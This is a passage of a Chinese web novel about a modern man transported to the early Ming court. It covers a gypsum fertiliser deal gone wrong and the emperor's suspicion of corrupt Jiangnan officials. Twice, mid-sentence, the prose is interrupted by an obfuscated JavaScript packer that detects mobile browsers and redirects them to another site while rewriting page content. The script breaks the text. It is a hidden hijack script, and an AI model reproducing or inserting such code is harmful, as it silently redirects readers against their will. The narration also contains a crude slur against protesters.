其实,老朱根本就没想卖…… 他是想用附近的军屯,先确定一下能提产的量再说,反正官田占七成,他也不 怕那些肥料没地方用。 “行了,今日也不早了,我和你韩爷还有事,今儿就先回去了。” 朱元璋难得爽快地离开了一次。 却也让朱安宁有些不习惯。 “两位不留下吃个饭?” 这话说出来,不仅是朱元璋的脚步顿了顿,连李善长都忽然有些走不动道。 这朱安宁做的饭菜,是真的可口啊…… 但是……今日这事,确实重要,不说那超越羁縻政策的阴损法子,就是这石膏做的肥,也是极其重要的啊。 不得已,必须要赶紧回去找人商量。 之间朱元璋咬了咬牙,差不多是一步三回头,才离开了小院。 也是把朱安宁看的莫名其妙。 是有什么国家大事要做嘛。 想吃自己的饭菜留下来不就好了么……神经。 走出院外的朱元璋,是遗憾地叹了口气。 没得吃好吃的,真遗憾…… “上位,咱们现在是要马上回宫里,把这些情况整理下对么?” “对,赶紧走,北征和云南那边的计划,都要变一变了。这朱安宁,给我们带来太过惊喜了啊……” “能有此神人出现在我大明,实乃幸事啊!” “行了行了,赶紧走,趁着老大应该还在殿里,赶紧回去商讨。” ———————————————— 文华殿。 日夜操劳的朱标同志,面色那是多少有点苍白。 毕竟他已经轮轴转好些时日了。 不同于他老爹的畜生体质,他作为正常人类,还是会累,会乏的。 只是最近要处理的事情实在是太过重要。 他不得不支棱起来…… 坚持到了现在。 朱安宁给出来的东西都很笼统,大方向肯定是没问题的,但是总归还是要人去落实的啊…… 这个落实方案的倒霉蛋,正是朱标…… 水利方面的布置,已经通过工部安排了下去。 几个需要调整的大水渠也已经确定好了方案。 蝗灾发生地,用了那朱安宁的法子,真的还算有点用,就是废人……听那些遭灾的地方汇报,天天晚上去用火光抓蝗,那是相当磨人的苦差事。 而预备未来作为兑钞官仓的地点,已经选取完毕,只是工匠还未到位,这个需要跟进。 幸好有几个阁臣,帮他预批了大部分琐事,不然他早就扑街了。 辛勤工作到现在的朱标太子,现在终于可以松一口气了。 大部分事情都做完了。 他只想好好休息一下。 没有新的事情了吧,他顶着黑眼圈,笑了两声。 那是舒心的笑。 然后,他莫名地打了个喷嚏。 “嗯?谁在念我?”他莫名觉得有点不妙…… 不是又有新工作吧…… 第九十四章 让我见见那个让我天天007的扑街 朱元璋正在滔滔不绝地说着话。 听讲的人则沉默不语。 “……” “标儿你怎么了?是你觉得那朱安宁的法子有问题?” “应该可行……” “那你是觉得这太阴损了?” “又没损我大明子民……” “那你刚才怎么不说话……” 文华殿里。 只有朱元璋和朱标站在案前。 只不过一个是精神抖擞,目光如炽。 另外一个……那是有点颓……似乎是没休息好的样子。 朱标一时不知道该怎么回应他老爹这个问题。 为什么不说话…… 那自然是有点累了啊…… “父皇……呃……” “来来来,别说话先,我们参详下,看下究竟哪个地方适合试一试这朱安宁的阴损法子,标儿,回来时我已经想过了,你觉得安南那地方合不合适?那地方距咱这应天府路途遥远,但是据说物产又还算丰富,不是什么鸡肋之地,只是不好管而已!要是按那朱安宁的法子,用最小的代价,把那里拿下来,岂不是美事一件!” 朱元璋在那拍着桌子,越说越激动。 本就累极的朱标,那是只能强撑着,回了话。 “父皇,安南那边物产确实合适,但是路途遥远,咱们又不熟地形,很难大规模派兵啊。就算是按照朱安宁的法子,也应该先在边界附近设置贸易司,开关贸易先。” “有道理,其中的细节……”朱元璋,刚想开口。 却未曾想到,朱标已经先他一步。 “其中的细节请由父皇定夺!!!” “呃……” 朱元璋也是被这抢答噎了下,抬起头,看到了是黑着眼圈的幽怨朱标。 便也是立马明白了自己好大儿抢答的缘由。 是最近事太多了吧…… 都怪那朱安宁,一下整了那么多活。 大概是把自己的好大儿给累坏了吧…… 于是老朱赶紧给了个勉强的笑容。 “好好好,标儿,这件事情我来,我来,呵呵。” 听见自己的好爹地终于有了点干活的意思,朱标终是松了口气,顺带还咳了几声。 听见这不对头的声音,朱元璋也是紧张了起来。 毕竟好大儿就一个…… 最近自己确实不像话,有了阁臣之后,确实是懈怠了很多…… “标儿你没事吧。” “咳咳……父皇我没事,就是有点风寒而已,御医来看过了,已经煎药服用过了。” “好好,那就好……” “对了,父皇,咳咳……下次您去那朱安宁那,把我也带上吧,我也是想见见他。” 见见这个让自己天天待在这宫里没日没夜处理政事的,罪魁祸首…… “好好,过些时日他那边好像要收一批石膏,说要做肥料,我们刚好去看看!” 朱元璋那是连忙开了口,想安抚下自己这日夜操劳的好大儿。 “肥料?什么肥料?”结果朱标,眼前又差点一黑,怎么好像又有新事情啊…… “哦,是咱忘记和你说了,朱安宁那边说是能大量产出比肩粪肥的肥料,原材料之一就是石膏。” “什么?比肩粪肥且能大量产出?父皇你莫不是说胡话!”饶是朱标很是疲惫,听完老朱这话,他也不得不强撑起精神来。 主次他还是分得清的。 先前那什么贸易司的阴损法子,是需要慢慢商讨的,急不来的事情。 但是这肥料可就非同一般了!!! 今儿正好是秧苗种下去没多久的时节,如果肥跟得上的话,会不会对那些农田的亩产有帮助啊! “起码效果咱是看到的了,能不能大量产出,这不是去他那里看了才知道么。” “父皇,务必要带我去!” —————————————————————————————————————— 太阳最毒辣的时候永远不是立夏之时,而是更往后的日子。 今天就是太阳猛到能把人晒抑郁的那种天气。 所以结束了早上的活,包括朱棣在内的人,都回房休息了。 朱安宁自然也不例外。 他缩回了自己的房车里。 打开了空调…… 只要电量还能在50%以上就不虚,反正不能亏待自己…… 这狗都能热到跳河的天气,不开空调是不可能的…… 朱安宁在桌前,刚整理完接下来要用的资料。 然后,便陷入了空虚的贤者时间。 之前,捣鼓了一堆东西,多是穿越过来的一时激情而已。 他又不是什么特种兵,九世善人,大学教授,青杰博士之类的特殊人群。 只不过是个普通人罢了。 所以他也会犹豫会迷茫。 正常人都会这样。 偶尔也会在夜间时,突然豪情万丈,却也会很快清醒。 皆因他很有B数。 没有那么大个头,戴那么大个帽干嘛…… 朱安宁看了眼桌上的毛选,那是长长地叹了 口气。 这本书是当年南方那个自以为了不起的城市,一群黄皮白心黑衣服弱智崽闹事的时候,他看新闻看得膈应,一时兴起买的。 说起来,现在才算是正式开始看。 只能说越看越佩服,也越看,越觉得自己废物…… “呼……虽然很想像导员那样,扭转万象……有心无力有心无力,管好自己,管好庄里那群人再说吧……把肥料、那几种天选主食推广出去,就算是对得起自己炎黄子孙这个称谓了吧……” 朱安宁,安心地躺到了后纵床上,不再去想有得没得,睡午觉重要。 院子里,风卷到了田边,吹动了那些已经不能再算是苗的作物,碧绿的叶子煞是好看。 不管是土豆还是番薯,都已经长了许久,辣椒苗和玉米,更是高了不少。 朱安宁期待的收成,应该不会差。 只是世事总是奇妙,顺遂和不顺遂,总是结伴而行。 肥料那边,蓝梁现在正一肚子火。 备货本是一件很简单的事情。 本是。 但是现在的蓝梁很是恼火。 “蓝染,你几个意思?” 他看着自己整备好的石膏矿,在一个阴柔汉子的指挥下,正在逐渐被搬到其他地方去。 今天下午是约好和那永乐庄的朱爷交货的日子。 他其实早早就准备好了货物。 他准备等这一批货交割完,和那永乐庄正式确立长期合作,才上报到蓝玉那边去。 结果,半路杀出了蓝染这个妖人。 “蓝梁,我早就和义父打过招呼了啊,江南那边有大氏族要建宅子,这些石膏是义父要送人的,怎么,你有意见?” 那蓝染说话不急不缓,一副已经把人拿捏的表情。 “蓝染,别以为我不知道,是你自己把那些要送人的石膏先卖了,现在凑不够了,就来抢我的货?” “诶?你说话可要有依据哦,不要空口说些不着调的话,呵呵。”只见蓝染笑了笑,拍了拍剩下的那车石膏,继续说道:“我问过伙计了,你这些石膏,卖人才两百两?你当我们是做慈善的?” “你!” 这话一说出来,蓝梁那是瞬间就泄了气,他不敢第一时间把卖货消息告诉蓝玉,也正是这个价格问题。 他本着这第一单,就当是半卖半送的方式去和朱安宁交易的。 不说别的,就那所谓的和宫里有关系,未来还需要继续采购,就值得蓝梁这么做了。 结果现在货给不出来,低价还暴露了给蓝染,真是该死! 见蓝梁无话可说,蓝染凑到了他的身边,拍了拍他的肩膀。 轻笑了声。 “也不要这么沮丧,你看,我不是还给你留了一车么。” 很大方似的,蓝染做了个请看的手势。 杀人诛心。 “好好好,蓝染,三十年河东三十年河西,你莫要欺人太甚。”蓝梁从牙缝中挤出了话语。 结果,蓝染,却丝毫没有理他的想法,径直就走了出去。 而在他们身边干着活的伙计们,仆人们,哪敢出声,就是默默地做着自己的事情。 好几个人,都觉得,是蓝梁,太过守规矩了。 明明是永昌侯的义子,却守道义,不会胡乱越界。 这在蓝玉义子里可不算是什么优点。 毕竟无视规则的烂人,更能获取利益。 蓝玉自己本身都是这样的人。 所以其实蓝梁,也就是在佃农们这里有点威望,毕竟是个还算正常的管事,比起那些奇葩义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378698|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子们,那简直就是菩萨级别了。 而来到真正赚钱的那些行当那里,蓝梁交出来的成绩单,通常都是远逊于其他义子的。 这也是蓝染敢骑在他头上拉屎的原因。 蓝玉,向来只看收益。 只看赚了多少。 他可不管你用的是什么法子。 蓝梁,站在那里,攥紧了拳头,最终,却也是只能松开,毕竟,攥久了疼。 朱安宁自然是不知道蓝梁这里发生的事情。 他还在美美地等着他的石膏上门,把那童子尿……啊不对,还有很多非童子尿一拌,用不了几天,那就是一堆肥料了啊。 至于收尿的工作,是李景隆负责的。 “三江三江……一边去……你就不能冲个澡在吃饭么?” 只见朱棣在那捏着鼻子吐槽。 其实不仅是他,朱橚和刘家两兄弟也是一副有点嫌弃的样子。 “诶,你们怎么回事,人家三江那是干的是正事,不能这样说他!” 听见朱安宁的话,几人的视线,都转向了他。 最终,开始朱棣忍不住,吐槽了出声。 “朱哥……你……你别跑到门口去说啊……” “这边凉点,你们那边热……” 朱安宁微微一笑,脸皮并未破防。 今天他做的就是简单的青瓜肉片,加了几个煎蛋。 只见李景隆根本就不管那几个人的抱怨,他是毫不在意地在那吃着。 “冲什么,一会我还得去挑,嫌我臭又不见你们来帮忙!” 要说怕朱棣,李景隆是怕的。 但是挑了两天尿,那脾气也是起来了。 本来就又臭又累,完了吃饭还被这几人嫌弃,他还哪管的上朱棣他们是什么身份,那是直接就怼了一句。 “就是,不知道帮忙还只会说风凉话。” 坐在远处的朱安宁又是补了一句。 结果自然是换来了几人的白眼。 于是,院中只剩下几人扒饭的声音。 过了不止多久,是李景隆再度开口。 “对了先生,下午就是约好石膏运过来的时间了么?” “对,那永昌侯家的人说,下午运过来,怎么了?” “没有,我只是高兴。” “高兴也不用哭吧……” 朱安宁看着那快要抹眼泪的李景隆,那是只能远距离安慰。 结果话音才刚落,蹲在院门口的他,却差点被门给撞倒。 是外面有人推了门。 幸好朱安宁身手还算敏捷,踉跄了几步,最终还是成功守护了自己的大米饭和菜…… “呃……安宁小弟,你蹲门口干嘛……” 门外探了个脑袋进来。 朱安宁定睛一看,原来是伍爷这个老头子…… “那个……门口凉快些,这天太热了。”朱安宁也不好说是李景隆太臭,他不想靠过去。 “啊?门口一点风都没,怎么就凉快了?”朱元璋有点摸不着头脑,不过这也没有阻止他进到院子里。 陪伴他而来的,自然还有我们的懿文太子,朱标同志。 几人看见朱元璋来到,那是本来就有点紧张。 结果一看,跟着朱元璋身后的人,那朱棣朱橚是眼珠子都快瞪了出来。 碗那是立马就丢到了桌上。 恭恭敬敬地跑了过去。 喊了声。 “大哥!” 这一声叫唤,是吧朱元璋喊得又开心又郁闷, 这两个傻儿子,老爹不叫,先叫大哥…… 真是…… 哎,不过他们认大哥也好。 毕竟自己的好大儿就是未来的皇帝。 兄弟躬亲和睦,也很好。 李景隆和刘家那两兄弟的惊讶,也不比朱棣朱橚少。 朱元璋好歹他们是见过来这里几次的,但是朱标可是第一次啊。 参考了一下自己的情况,他们也不知道朱标现在叫什么名字…… 所以整得行礼也不是,不行礼也不是,一时之间,竟是尬在了那里。 “嗯?这是?”幸好有朱安宁打破这尴尬:“你们大哥?” 朱标听见朱安宁的话语,也是上前了一步。 “呵呵,朱兄,我乃伍文,是他们的大哥,最近我这两个不成器的弟弟,真是叨扰你了。” 第九十五章 好像有贪官!给咱查!!! 和老爹亲还是和老哥亲,这对朱棣和朱橚来说,根本就是不需要讨论的事情…… 当然是和大哥亲啦! 看着朱棣朱橚自然而然地就去到了那自称为伍文的男人身边。 朱安宁也是得以好好打量这人。 看那姿态,怎么一股精英领导范啊…… 比自己以前的老板还要有气势的那种。 唯一美中不足的就是,黑眼圈也比自己的老板要重…… 怎么……明初也有OT和007? “在下朱安宁,伍哥您看着应该比我年长,叫我小朱或者朱弟就行。” “……” “……” 场面陷入了些许诡异的安静之中。 朱标在心里过了一下这两个称谓,那是怎么想怎么觉得不对劲。 “呵呵,还是叫安宁小弟亲切些……咳咳……” 朱标回应了称谓的问题,却也是一下没能压住喉咙的痒,咳了出来。 “伍哥叫得顺口就行。” 朱安宁虽然觉得这突然的寂静有点诡异,但是也没有多想…… 反正每次和新认识的人自我介绍……都会冷场…… 这群呆逼不会认为自己是朱元璋的什么私生子或者皇亲国戚吧…… 这也太几把扯淡了。 只是还未等朱安宁多想。 是朱橚接上了话。 “大哥,你病了?” 他听见了朱标有些难受的咳嗽的声,那是不由得皱起了眉头。 “最近有点累,染了点风寒而已,不碍事,咳咳。” 朱标的重音在累那里。 那是听得朱元璋一阵难受…… 怕不是自己的好大儿就是在内涵自己。 他连忙岔开了话题:“咳咳,那个安宁小弟,我们今天来是想看看你的石膏到了没,你做肥料想托我去卖,我总得实地看看货嘛,对不对。” “啊,也是,不过那蓝梁还没把石膏给我运来,明明约好是今天送来的。” “那我们进去等等?” “哎,看我多失礼,让你们一直在门口,进来喝茶吧。” 朱安宁也是才反应过来,自己一直端着碗,蹲在门口接客。 “小畾,去把我前些日子买的茶杯茶壶洗出来,沏个茶。” 他转过头对规规矩矩站在角落的刘畾喊了声。 “我也来帮忙!”结果不止是刘畾,刘廌也连忙开了口。 朱元璋在这里,再怎么地也得表现得勤快点吧…… 而李景隆,更是识趣地跑到了更远的地方……他在给院里的田除草。 自己有多臭,他心里还是有B数的,干什么都行,站在那里就是不行。 朱棣和朱橚,则快速把刚才的饭菜收拾好,且擦好了桌子。 几人干活那是麻利得很。 这让第一次看到这幅光景的朱标,是啧啧称奇。 朱安宁居然能让这群人好好干活,任劳任怨,确实是有点东西啊…… 很快茶水就已经泡好。 除了朱元璋朱标和朱安宁,其他人都是给自己找了点事,回避了这个桌子。 明显老朱带着朱标过来就是要谈正事的。 眼力见是他们从小就锻炼的基本技能,哪会傻乎乎凑过去。 “安宁小弟,早就听老爹说过你好几次了,我最近才得闲,今儿得见,果然是一表人才啊。” “伍哥就莫要折煞我了,什么一表人才,我全依赖伍爷,才攒下了这点地,当了个地主爷罢了。” 对于这种客套说辞,朱安宁肯定不会说傻到点头说是,而是连忙把朱元璋抬了出来。 一边说着,他一边给两人倒了茶水。 三人就这样在树下聊了起来。 朱元璋听见朱安宁的说法,也是呵呵笑了起来。 他知道朱安宁是个说话圆滑的人,但是他并不讨厌。 因为虽然朱安宁说话总是一套套的,但是真要做起实事来,他也不含糊…… 不像大明的某些官员,那是说话圆滑就算了,干啥啥不行…… “地是你自己买的,你的酒值这个钱,另外,你献的治蝗法子还有水利事务,宫里已经传话出来了,真有用。” 朱元璋接过了茶水,放到了自己面前,吹了吹,没有急着喝。 朱标也是开始趁机观察朱安宁的表情。 只见朱安宁那是掩盖不住笑意,直接咧嘴笑了起来。 “有用就好呗。” 朱安宁也没想那么多,他吹了吹茶水,开心地喝了一口。 朱标终于是忍不住,问了出声:“安宁小弟,你就不关心上头的赏赐?” 这个问题,属实是把朱安宁给问愣住了。 “呃?赏赐?伍爷,上面赏你去做官了?” “噗……”刚嘬了口茶的朱元璋那是没能忍住,一口喷了出来:“我都这把年纪了,去做什么官……” “总不能什么都不赏吧,这洪武帝不愧是出了名的抠搜。” 朱安宁撇了撇嘴,那是说得相当鄙视。 毕竟历史上,说抠的皇帝,朱元璋还真是排的上号。 他哪知道正牌朱 元璋就在眼前。 这话自然是把老朱气得有些肝疼。 什么叫抠。 这大明这么大,当家才知柴米贵! “怎么?你也想要赏赐,那现在赏赐就是当官,你去不去?” 他轻哼了声,那不满那是溢于言表。 “又当官……不是真就赏了个官吧……真这么抠啊?” “……” “呵呵……安宁小弟,赏官怎么能算抠呢……”见自己老爹无话可说,朱标赶紧出来打圆场。 他是真的听出来了,要说赏钱银,这朱安宁是真的有兴趣的。 但是要说赏官职……他刚才的态度是嘲笑? “啧,被我猜中了?不是我说,老伍头你这把年纪肯定不会折腾去当官的了,让我猜猜,是伍哥去了?”朱安宁摸了摸下巴,望向了朱标。 “对对对,你伍哥现在当官了,他朱皇帝一毛钱都没赏,满意了么?”朱元璋恼火地补了句。 也是一下就把朱标整不会了。 怎么就自己当官了呢。 太子算是什么级别的官。 挺大了吧。 “啊,伍哥,真的啊?您现在是?” 朱安宁立马就来了点好奇心。 穿越过来这么久,总算认识个正儿八经的官了。 真是丢穿越者的脸。 人家穿越一天收拢部下。 穿越一月位极人臣。 穿越一年异姓称王。 自己穿越这么久,就尽是在发挥专业特长,挑粪,作肥,耕田…… 听见朱安宁的追问,朱标也是无语地看了自己老爹一眼。 真是胡说八道自己当官干嘛…… 现在好了,怎么解释嘛。 说高了,那不可能。 说低了,那又显得你老朱赏官职都赏得抠…… 沉思了半晌,朱标才幽幽地开了口:“承蒙陛下信任,我现在在东宫管些杂物,也算是个官吧。” “东宫?!哇塞,太子手下,咱们太子可是出了名能干又儒雅……这不比在朝里当官安全多了?!”朱安宁说的可是真心话。 要是不考虑朱标短命的话……东宫的官员,绝对比朝堂那批性价比高一万倍。 面对朱标不比面对朱元璋安全多了。 这话是噎得朱元璋差点一口气上不来。 “怎么,你就对咱们太子评价这么高?比那朱皇帝还高?” 朱元璋眯着眼,发问。 “啊?咱们太子是千古第一太子,有问题?” 而朱安宁也回答得理直气壮。 哎……要是懿文太子不死,那明朝,不可估量。 朱安宁是说得太过理直气壮。 理直气壮到朱标都有些尴尬。 被人当面这样夸自己,还是有些……有些害臊的…… 只是他也要比朱元璋要冷静点。 他注意到了朱安宁,好像并不是很抗拒在东宫做事。 朱安宁只是不想当朝官而已。 “所以安宁小弟你是觉得在东宫做事也可以?我可以帮你引见……” “算了吧,现在手头一摊事情没做好,等把这永乐庄打理好再说。”结果,朱安宁也是抢答了朱标的问题,他摇头说道。 没有完全拒绝,好像还有点戏。 朱标和朱元璋对视了一眼。 虽然恼火这朱安宁对自己评价总是那么极端,但是看他样子好像很喜欢自己的好大儿,喜欢好大儿的人,没有坏人! 朱元璋本想趁热打铁,继续说些什么。 外面却也传来了敲门声。 还未等朱安宁起身。 朱棣那是飞奔过去,开了门。 这幅狗腿子的样子,差点逗到朱标笑出声来。 这还是自己那桀骜不驯的四弟? 众人的目光,都一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378699|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同投向了门口。 “朱爷,是我。” 不出朱安宁意料的是。 正是约好了下午见面的蓝梁,他正在门口行着礼。 于是他也连忙起身,迎了过去。 “蓝大哥,两日不见,甚是想念啊!” 他也对着蓝梁回了个礼。 当两人同时站起声时,他也发现了,蓝梁的表情好像有些不自然。 心里那是不免咯噔了一下。 不会是出问题了吧。 而本来坐在位置上的朱元璋和朱标,听见朱安宁的招呼声,也是连忙起了身。 朱元璋是知道朱安宁向蓝玉家买了石膏的。 只是他也没有插手这件事。 买卖这东西,你情我愿。 双方好像聊得还可以。 那就轮不到他这个皇帝插手什么东西。 于是他也就是站在了一边,和朱标一样,仅是看情况而已。 “诶,朱爷,实在是抱歉,本来要更早些的,今天是来晚了。” 蓝染看见院内还有其他人。 也是斟酌着没有开口说太多。 朱安宁见蓝染好像有些顾忌的样子。 “来蓝大哥,先进来喝杯茶再聊,这是伍爷,这伍爷大儿子,伍文,都是自己人。” 他想把蓝染迎进去再 说。 “是自己人的话,那朱爷,我就在门口说了先吧。” “您这石膏生意急不急……您不是说是宫里的生意么?” 宫里的生意? 听见蓝染的话语,朱元璋和朱标都是满脸问号? 怎么着朱安宁知道自己身份了? “诶,蓝大哥,也就是认识些宫里的大工匠罢了,我这石膏啊,要得要挺急的,不然就不会向你这边买啦,我自己也是可以去江城那边调货的啊,不是跟您说过了么。” 什么江城调货,宫里大工匠? 朱标是越听越懵。 朱元璋却是要比朱标多些微末之时的境遇的。 他一下就想到了……莫不是这朱安宁和蓝玉家的人谈生意时……扯的虎皮大旗……他应该是知道了蒯富的身份,就拿蒯富的身份来造势压价之类的,至于江城的货?怕不是这家伙屯了货吧。 朱元璋其实也猜对了不少。 而朱安宁,却也没有空去管身后的两人想什么。 久经商场的他,一下就听出了蓝梁的言外之意。 “蓝大哥,是货出了什么问题么?” 没有拐弯抹角,这时的朱安宁选择了最高效的直球。 听见朱安宁这么说。 蓝梁也是只能叹气,说出了实话:“家中能贩卖石膏的,不止我一人,本来我是集齐了货物的,但是……被人急调到其它用途去了。” 他没有想隐瞒太多。 有时候,说实话语气会更诚挚些。 没等朱安宁回答,他又立马继续说了下去:“但是还是留了一车,我自己又在城里高价凑了一车,现在有两车的石膏,朱爷,您的钱我先退给您!要是您信我的话,还有8车,您给我些时间,我一定能在半月内给到你!” 两车? 朱安宁连忙在心里算了起来。 不够用,绝对不够用。 但是这蓝梁应该没有说谎,他瞄了眼蓝梁递过来了银子。 没有说什么你怎么能不守信用之类的废话。 朱安宁现在只想解决问题。 “蓝大哥,半个月绝对不行,您这边有没什么渠道,再买三车,我就能凑合用着先。” “三车?三车的话,几天我就能给你凑齐!” 两人的聊天,都被朱元璋听在了耳里。 他皱眉思索了片刻,只觉得有点奇怪。 “你是永昌侯的义子?” “啊?伍爷是吧,是的,我是永昌侯的义子。” “你说急调去了其它地方?什么地方能用那么多石膏?” “呃……也不是什么不能说的大事,江南那边许多士绅和官员想要新建宅子,这石膏糊墙需要的量一下就起来了,那边是早就预订的了,所以便只能先供那边,说起来还是我的错,朱爷,误了你的事,实在是我该死。” 事情已经发生,蓝梁也只能诚心道歉。 而朱元璋,却没有继续再听蓝染说的什么。 他脑子里想的是。 江南的士绅?官员?新宅子? 他们又这么阔了么? 是不是……贪了咱的钱银?!需要查查!!! 第九十六章 和郭桓这样的实权官员打好关系,好处才多 朱安宁哪知道朱元璋起了什么恐怖的念头。 他甚至都不知道这伍爷就是朱元璋。 他只知道自己要没肥料用了! 而且听这蓝梁的说法,石膏的货源不稳定? 这不能吧,石膏这东西,中国又不是西方,总不能采来做雕塑吧…… 在明朝,这石膏不是用来糊墙搞建筑,就是入药,基本没多少其他用途了。 怎么今儿突然就紧俏起来了呢? “蓝大哥,三车,必须尽快送到,钱银你也不必退我先了,看得出您也有难处,还能主动帮我凑多这一车过来,也是花了不少银子吧。” 关于蓝梁的说辞,太好验证了。 基本可以判定他不可能说谎。 因为应天府药铺里的石膏就那么多,随便打听一下就知道是谁买了。 蓝梁犯不着在这些事情上说谎。 “药铺里的石膏,基本被我买空了……哎,但是也就那么多了。” 两人皆是一同叹了口气。 特别是朱安宁,最无奈的就是他。 这种事情放现代还能吵一吵。 毕竟还算是……法治社会嘛。 但是放古代他能怎么办。 截他货的人,按蓝梁的说法,是蓝玉示意的。 那是蓝玉啊,现在又还没到蓝玉案的时候。 这癫老应该还是在朱元璋和朱标都很信任的时间节点上。 所以他只能捏着鼻子认了…… 反正那蓝玉,扣了自己应该要拿的货…… 自己也没地说去啊。真去敲那冤鼓,就算老朱给自己解决了,回头不被蓝玉打击报复才怪…… 他蓝玉现在还不是凉国公,就是个永昌侯,也不是自己这个身份这个地位能够碰瓷的啊…… 现在只能寄希望于,蓝梁能不能快速凑够三车给自己了。 其实两车的石膏,配合粪肥,草肥,大概也是够插秧用的。 但是后续的呢? 朱安宁之前和蓝梁开口就是要十车,就是为了一次搞定,省得到时麻烦。 朱标看见两人这般为难的样子,本想开口说些什么。 作为太子爷的他,要问蓝玉拿点石膏过来,不是简简单单的事情么。 虽然蓝玉平日嚣张跋扈,但是和他朱标的关系,那可是非常好的…… 结果他还未开口,朱元璋便伸手阻止了他,只见老朱摇了摇头,那是明着示意他别出声。 “朱爷你放心,我这人守信,如果您愿意相信我,剩下的货,我无论如何都会给你补齐。” 蓝梁又是深深地行了个礼。 姿态那是摆得相当低了。 从前是农田管事的他,好不容易争取来了做生意的机会,还一下就和永乐庄的朱爷攀上了关系,那他是决不可能说放弃的。 朱安宁虽然生气货没了,却也只能伸手去扶蓝梁。 这时,一边却也传来了朱元璋的轻笑声。 “怎么补?矿是永昌侯的,他不是要供给富商和官员们么,你这边能分到。” 这番话,虽然很噎人,但是也很在理。 朱元璋知道那蓝玉是什么样的性格。 作为他义子的蓝梁能不知道? “事在人为,若是真的没有办法从家里补齐这批货,我高价从外地采购也会给朱爷送来!” 这话说的掷地有声。 却也让朱元璋微微点了点头。 都说蓝玉义子们做事嚣张。 怎么今儿见的这个。 还算挺不错的啊。 能不能做成事,最后是否真的可以把石膏给送齐先不说。 就今儿这态度,他还是认可的。 当然,也就是挺不错而已。 “好,有蓝大哥这句话,我就放心了!” 朱安宁笑是笑不出来了,但是有蓝梁的两句保证,也好过什么都没有吧…… 反正现在十车石膏,还能到两车,并非到完全无法接受的地步。 他已经看到了院外推车的伙夫,和那载满货物的马车。 现在也只能把希望寄托到这蓝梁的承诺上了。 “那过几日,我再把那几车送过来!朱爷,我这就先走一步了。货已经到门口了,您可以看看。” “好。” 两人的货物交接那是相当的迅速。 毕竟,就是石膏矿而已…… 见朱安宁在那马车前看来看去,在带着朱棣和朱橚清点重量。 朱标终于逮着了机会,和他老爹说悄悄话。 “父皇,为什么阻止我……” 朱标脸色满是不解。 毕竟这肥料一事,可不是什么无关紧要的小事。 看那朱安宁急切的样子,朱标也担心肥料万一没凑齐,错过了节气,不就完蛋了么。 所以他看向了朱元璋,想要个回答。 “你是想问蓝玉要矿给朱安宁?” “对啊,矿值多少钱,永昌侯家中那石膏矿,采个几日就够好几车了吧,我开口要点不难。” “首先,这是朱安宁自己的事,你想用什么身份开口告诉他你能弄到石膏?就东宫管事?” “ 呃……” “其二,你刚才难道没听到那蓝玉义子的话?” “什么话?”看见自己老爹一脸严肃的样子,朱标也是不由得认真开始回想蓝梁的话语。 几乎是同时,当朱标想到的时候。 朱元璋也开了口:“石膏,是送与江南的富商和官员的……” 朱元璋的话很轻。 但是朱标的心却沉甸甸的。 他老爹最讨厌什么,他又不是不知道。 那些富商,官员,居然又开始建宅子了? 钱哪来的,这值得深挖啊…… “所以父皇你是想看看那些石膏最后落到具体哪些人手里?” 朱标开口,看向了自己的老爹。 只见本来还很严肃的朱元璋,笑了起来。 “对头,这不是就省了咱很多事了么,要把全江南的富商官员都查了,咱们爷两不得累死啊,现在只需要查用了这些石膏的人,就好,咱们啊,不想错杀人,但是该死的人,那是全家一个都不能留啊!呵呵。” 朱元璋笑得很开心,只是笑声,有点冷。 远处,也传来了朱安宁,很合时宜一声骂。 “狗日的什么官员富商,天天整这些鸟事建个蛋的破房子,也不怕哪天老朱一刀宰了他们全家,老子的石膏不够用了怎么搞嘛!!!” 正在帮朱安宁清点石膏数量的,朱棣和朱橚,都被朱安宁的骂声吓了一跳。 ———————————————————— “义父,您让我备的石膏,都已经整备好了,随时可以运往江南。” 永昌侯府上,坐在下方的蓝染正在汇报自己的工作。 蓝玉正坐在主位,悠闲地喝着茶。 他有很多义子。 每个人擅长的事情都不一样。 比如,他其实本来挺喜欢蓝梁的,毕竟这家伙人高马大,管那些农夫也是头头是道。 结果呢,现在来看,那是远不如眼前的这蓝染啊。 这家伙,做生意那真是个人精。 家中很多生意交到他手上,那都是稳赚的。 和一些朝中权贵牵线搭桥,他蓝玉,自认是绝对比不上这个义子的。 比如他作为淮西勋贵的一员,平日里也就是和武将们来往居多。 和那些臭文官走在一起,不吵起来算不错了。 而蓝玉,却手段通天地和不少朝中的文官搭上了线。 生意的种类和规模,那是不断扩大。 就是朝中有人好办事啊。 “哎呀,蓝染啊,还是你有办法啊,那些个文人怎么就那么喜欢和你待一起呢。” “呵呵,投其所好罢了。” 投其所好,简单的四个字。 真要操作起来,可是无比艰难的。 如果让朱安宁听到这蓝染说的话,一定会明白,这是销冠才能有的能力啊…… 大佬们的好,有些是公开的,有些是隐秘的。 公开的那些通常不值一提,但是隐秘那些,想要知道的话,那就是看个人渠道和能力了。 而且就算你知道了。 你能怎么办。 投这个动词也是个关键词。 多少人想要攀关系,最后都是送礼无门。 所以这蓝染,确实不简单。 至少也是个对上,八面玲珑的人。 “哎呀,蓝染啊,能和郭桓这样的实权侍郎走得近,江南的生意,那我们是信手拈来了吧。” 